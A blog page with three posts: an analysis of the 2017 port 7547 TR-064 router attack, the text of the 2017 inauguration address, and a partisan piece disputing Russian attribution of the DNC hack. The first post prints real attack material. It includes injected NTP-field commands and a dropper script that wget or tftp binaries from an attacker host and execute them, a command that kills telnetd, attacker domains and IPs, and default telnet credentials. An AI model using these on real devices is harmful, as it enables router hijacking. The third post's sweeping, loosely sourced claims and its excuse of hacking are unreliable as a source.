Sunday, 22 January 2017

Port 7547 SOAP Remote Code Execution Attack Against  DSL Modems

During the attack users were seeing suspicious network activity like this request incoming on TCP port 7547:

This request is described in the TR-064 specification of methods for configuring DSL CPE (customer-premises equipment).
A vulnerability in affected routers causes the device to download the binary with file name “1” from http://l.ocalhost[.]host to the /tmp/-directory and executes it. The IP addresses of this host changed a few times during the day.
Known hosts: timeserver[.]host
securityupdates[.]us; l.ocalhost[.]host; tr069[.]pw; srrys[.]pw; mziep[.]pw; 93.174.93[.]50;
93.190.142[.]201; 188.209.49[.]64; 188.209.49[.]86; 188.209.49[.]60; 188.209.49[.]168
185.62.190[.]203; 5.8.65[.]1; 5.188.232[.]1; 5.188.232[.]2; 5.188.232[.]3; 5.188.232[.]4
5.188.232[.]71; 5.188.232[.]141; 5.188.232[.]152

It works as follow:
Injected code attempts to download 3 different binaries to cover 3 different architectures.
1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

It implements a telnet attack using 3 different user & password pairs:
root     xc3511
root     vizxv
root     admin

And the script
busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP
busybox killall -9 telnetd
cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh
<NewNTPServer1>`cd /tmp;tftp -l 3 -r 1 -g l.ocalhost.host;chmod 777 3;./3`</NewNTPServer1>
<NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/1;chmod 777 1;./1`</NewNTPServer1>
#!/bin/sh
cd /var/tmp
cd /tmp
rm -f *
wget http://l.ocalhost.host/1
busybox chmod a+x 1
chmod 777 1
./1
rm -f *
wget http://l.ocalhost.host/2
busybox chmod a+x 2
chmod 777 2
./2
rm -f *
wget http://l.ocalhost.host/3
busybox chmod a+x 3
chmod 777 3
./3
rm -f *
wget http://l.ocalhost.host/4
busybox chmod a+x 4
chmod 777 4
./4
rm -f *
wget http://l.ocalhost.host/5
busybox chmod a+x 5
chmod 777 5
./5
rm -f *
wget http://l.ocalhost.host/6
busybox chmod a+x 6
chmod 777 6
./6
rm -f *
wget http://l.ocalhost.host/7
busybox chmod a+x 7
chmod 777 7
./7
rm -f *



The malware closes the vulnerability once the router is infected in line: 
busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP

and kills the telnet session
busybox killall -9 telnetd

Malware is not able to write itself to the router’s persistent filesystem (runs in memory), therefore the infection will not survive the reboot.


Saturday, 21 January 2017

Donald Trump, the 45th President of the United States, delivers his inauguration address


Chief Justice Roberts, President Carter, President Clinton, President Bush, President Obama, fellow Americans, and people of the world, thank you

We the citizens of America are now joined in a great national effort to rebuild our country and restore its promise for all of our people. Together we will determine the course of America, and the world, for many, many years to come. We will face challenges. We will confront hardships, but we will get the job done. Every four years, we gather on these steps to carry out the orderly and peaceful transfer of power, and we are grateful to President Obama and First Lady Michelle Obama for their gracious aid throughout this transition. They have been magnificent. Thank you.
Today's ceremony, however, has very special meaning, because today we are not merely transferring power from one administration to another, or from one party to another, but we are transferring power from Washington, D.C., and giving it back to you, the people. For too long, a small group in our nation's capitol has reaped the rewards of government while the people have borne the cost. Washington flourished, but the people did not share in its wealth. Politicians prospered, but the jobs left, and the factories closed. The establishment protected itself, but not the citizens of our country. Their victories have not been your victories. Their triumphs have not been your triumphs, and while they celebrated in our nation's capitol, there was little to celebrate for struggling families all across our land.
That all changed starting right here and right now, because this moment is your moment. It belongs to you. It belongs to everyone gathered here today, and everyone watching, all across America. This is your day. This is your celebration, and this, the United States of America, is your country.
What truly matters is not which party controls our government, but whether our government is controlled by the people. January 20th, 2017 will be remembered as the day the people became the rulers of this nation again. The forgotten men and women of our country will be forgotten no longer. Everyone is listening to you now.
You came by the tens of millions to become part of a historic movement, the likes of which the world has never seen before. At the center of this movement is a crucial conviction, that a nation exists to serve its citizens. Americans want great schools for their children, safe neighborhoods for their families, and good jobs for themselves. These are just and reasonable demands of righteous people and a righteous public, but for too many of our citizens a different reality exists. Mothers and children trapped in poverty in our inner cities, rusted out factories scattered like tombstones across the landscape of our nation, an education system flush with cash, but which leaves our young and beautiful students deprived of all knowledge, and the crime, and the gangs, and the drugs that have stolen too many lives and robbed our country of so much unrealized potential.
This American carnage stops right here and stops right now. We are one nation, and their pain is our pain. Their dreams are our dreams, and their success will be our success. We share one heart, one home, and one glorious destiny. The oath of office I take today is an oath of allegiance to all Americans. For many decades, we've enriched foreign industry at the expense of American industry, subsidized the armies of other countries, while allowing for the very sad depletion of our military. We've defended other nations' borders while refusing to defend our own. And spent trillions and trillions of dollars overseas while America's infrastructure has fallen into disrepair and decay.
We've made other countries rich while the wealth, strength and confidence of our country has dissipated over the horizon. One by one, the factories shuddered and left our shores, with not even a thought about the millions and millions of American workers that were left behind. The wealth of our middle class has been ripped from their homes and then redistributed all across the world, but that is the past, and now we are looking only to the future.
We are assembled here today issuing a new decree to be heard in every city, in every foreign capital, and in every hall of power, from this day forward, a new vision will govern our land, from this day forward, it's going to be only America first. America first. Every decision on trade, on taxes, on immigration, on foreign affairs will be made to benefit American workers and American families. We must protect our borders from the ravages of other countries making our products, stealing our companies, and destroying our jobs. Protection will lead to great prosperity and strength. I will fight for you with every breath in my body, and I will never, ever let you down. America will start winning again, winning like never before.We will bring back our jobs. We will bring back our borders.
We will bring back our wealth, and we will bring back our dreams. We will build new roads and highways and bridges and airports and tunnels, and railways, all across our wonderful nation. We will get our people off of welfare and back to work, rebuilding our country with American hands and American labor. We will follow two simple rules -- buy American, and hire American.
We will seek friendship and goodwill with the nations of the world, but we do so with the understanding that it is the right of all nations to put their own interests first. We do not seek to impose our way of life on anyone, but rather to let it shine as an example, we will shine for everyone to follow. We will reinforce old alliances and form new ones, and you night the civilized world against radical islamic terrorism, which we will eradicate completely from the face of the Earth. At the bedrock of our politics will be a total allegiance to the United States of America, and through our loyalty to our country, we will rediscover our loyalty to each other. When you open your heart to patriotism, there is no room for prejudice.
The bible tells us, how good and pleasant it is when god's people live together in unity. We must speak our minds openly, debate our disagreements honestly, but always pursue solidarity. When America is united, America is totally unstoppable. There should be no fear. We are protected, and we will always be protected. We will be protected by the great men and women of our military and law enforcement. And most importantly, we will be protected by god.
Finally, we must think big and dream even bigger. In America, we understand that a nation is only living as long as it is striving. We will no longer accept politicians who are all talk and no action, constantly complaining but never doing anything about it.The time for empty talk is over. Now arrives the hour of action. Do not allow anyone to tell you that it cannot be done. No challenge can match the heart and fight and spirit of America.
We will not fail. Our country will thrive and prosper again. We stand at the birth of a new millennium, ready to unlock the mysteries of space, to free the Earth from the miseries of disease, and to harness the industries and technologies of tomorrow. New national pride will stir our souls, lift our sights, and heal our divisions. It's time to remember that old wisdom our
soldiers will never forget, that whether we are black, or brown, or white, we all bleed the same red blood of patriots. We all enjoy the same glorious freedoms, and we all salute the same great American flag.
And whether a child is born in the urban sprawl of Detroit or the windswept plains of Nebraska, they look up at the same night sky, they fill their heart with the same dreams, and they are infused with the breath of life by the same almighty creator. So to all Americans, in every city near and far, small and large, from mountain to mountain, from ocean to ocean, hear these words. You will never be ignored again. Your voice, your hopes, and your dreams will define our American destiny, and your courage and goodness and love will forever guide us along the way. Together, we will make America strong again. We will make America wealthy again. We will make America proud when it. We will make America safe again, and yes, together we will make America great again. Thank you. God bless you. And god bless America. Thank you.

Monday, 9 January 2017

the "Russian hacking" story..

On January 8, 2016, Marcel Lehel Lazar, known as Guccifer, the Romanian taxi driver, extradited to the US, pleaded guilty to identity theft and a number of computer systems hacking charges including breaking into about 100 American's email accounts including former Secretary of State, breaking into Clinton's private e-mail server at her New York residence and DNC servers, and was sentenced by US Virginia District Judge, James Cacheris, to 52 months in prison.
Lazar is serving his sentence in Romanian state own penitentiary institution in the suburbs of Bucharest. Lazar had no formal computer training or expertise, apparently he started his hacking activities in 2006.
He claims to guess people's passwords after reviewing Wikipedia data (!!!) about them. As an amateur "hacker" he proven to be a smart and resourceful person, however like almost all amateurs in this business ended in jail.


As early as in the fall of 2015, Wikileaks were in a possession of Blumenthal, Clinton and later Podesta (separate case) emails.
First batch of Clinton emails was published by Wikileaks March 16, 2016, DNC emails in July and Podesta archives in October.

In June 2016, Gawker published a document allegedly "hacked" from DNC server with a title: "Donald Trump Report", 200 pages document circulated among Clinton senior election staff and senior DNC staff. The document—which according to embedded metadata was created by a Democratic strategist named Warren Flood—was created on December 19th, 2015, and emailed to Gawker by ....“Guccifer,” the notorious Romanian hacker, well, there is a small problem here since Gucciffer was already serving his sentence in jail.
In the same time, the DNC hack was first revealed. The cyber security firm CrowdStrike announced that it had discovered "two hacking collectives, linked to Russian intelligence", inside the DNC network after the DNC reported a suspected breach. In a blog post, the company identified the groups as “COZY BEAR” and “FANCY BEAR”—
two “sophisticated adversaries” that “engage in extensive political and economic espionage for the benefit of the government of the Russian Federation.” Wow, fast conclusion and it sounds like political statement born at State Department offices...
This statement was backed up by an apparent fact that metadata associated with the copy !!! of the original file, was last saved by someone named (in Cyrillic letters) “Felix Edmundovich,” maybe be a reference to the historical Soviet figure known as “Iron Felix,” .   
CrowdStrike provided also an analysis of the "sophisticated" malware allegedly used by "Russian" hackers. (can be located at few sites)

Summarising, we have "sophisticated" malware and cleverly crafted, copy (not an original ???) of the report but with strange "Cyrillic" footprint....therefore conveniently and indubitably pointing to Russian hackers.... Well, sounds good, or rather too good to be truth. Claims that attack on DNC could only be originated by Russian hackers simply because they relied on the same malware that was used to hack Deutsche Bundestag and TV5Monde doesn't make sense since full source code for the X-Agent implant has long been associated with APT28 and can be obtained by anyone from antivirus provider Eset.
If Eset could do it, so can others. It is both foolish and completely baseless to claim, as CrowdStrike does, that X-Agent is used solely by the Russian govs or its affiliates when the source code is there for anyone to get it and use at will.
And we are sure that "some" on this continent use it, regardless of local gov affiliation.

The open question remains who in fact emailed (if) "Trump report" to Gawker, a social media outlet which... doesn't exist anymore.
We are sure that intel agents already asked this question to Gawker former owner and his staff, answers no avail. Maybe it is a good idea to ask BlackRock's Aladdin® system for an advice...
Out theory here is less complicated and fully domesticated, but maybe another time....

Discussion about hacking almost successfully diverted attention from the exposed mount Everest of corruption and criminal activities at DNC/Clinton camp.
Hacking into someone's data is an obviously bad thing, however sometimes, like in this case, it turned to be the only way to expose crime and corruption at the top of American political establishment.

The game, however, is far from over, read below statements, just a few from many...

·     Former CIA Director Michael Morell not only endorsed Clinton in the New YorkTimes and claimed that “Mr. Putin had recruited Mr. Trump as an unwitting
    agent of the Russian Federation.”  
  • Bush’s CIA and NSA director, Gen. Michael Hayden, pronounced Trump a “clear and present danger” to U.S. national security and then, less than a week before the election, went to the Washington Post to warn that “Donald Trump really does sound a lot like Vladimir Putin” and said Trump is “the useful fool, some naif, manipulated by Moscow, secretly held in contempt, but whose blind support is happily accepted and exploited.”
  • Senator Chuck Schumer issued an open threat to Trump during an interview: "they (CIA) have 6 ways on Sunday to get back and get you"  so even for practical reasons he (Trump) was really dumb to do this (not trusting intel community)
  • Democratic (ret) leader Reid: "give trump "fake" intel briefings" (interview given after rep convention nominated trump)
  • Senator Lindsey Graham (R-SC) recent statement: "you are not republican and you're not a patriot if you're celebrating Trump victory".....

And for those with short memory

 


  • Collin Powell Feb 5, 2003 speech to UN Security Counsel: "16 intel agencies confirmed that Hussain has weapons of mass destruction,...conclusions based on solid intelligence"..... since then 3 countries were completely destroyed, militarily and economically, with hundreds of thousands dead and millions displaced...
  • China state agencies stole in 2015 huge number of documents and data from various government sites, and intel was able to point out to the... government office building in China where this operation was run from. It wasn't any desire then to go to war with China and case quietly died within a few days.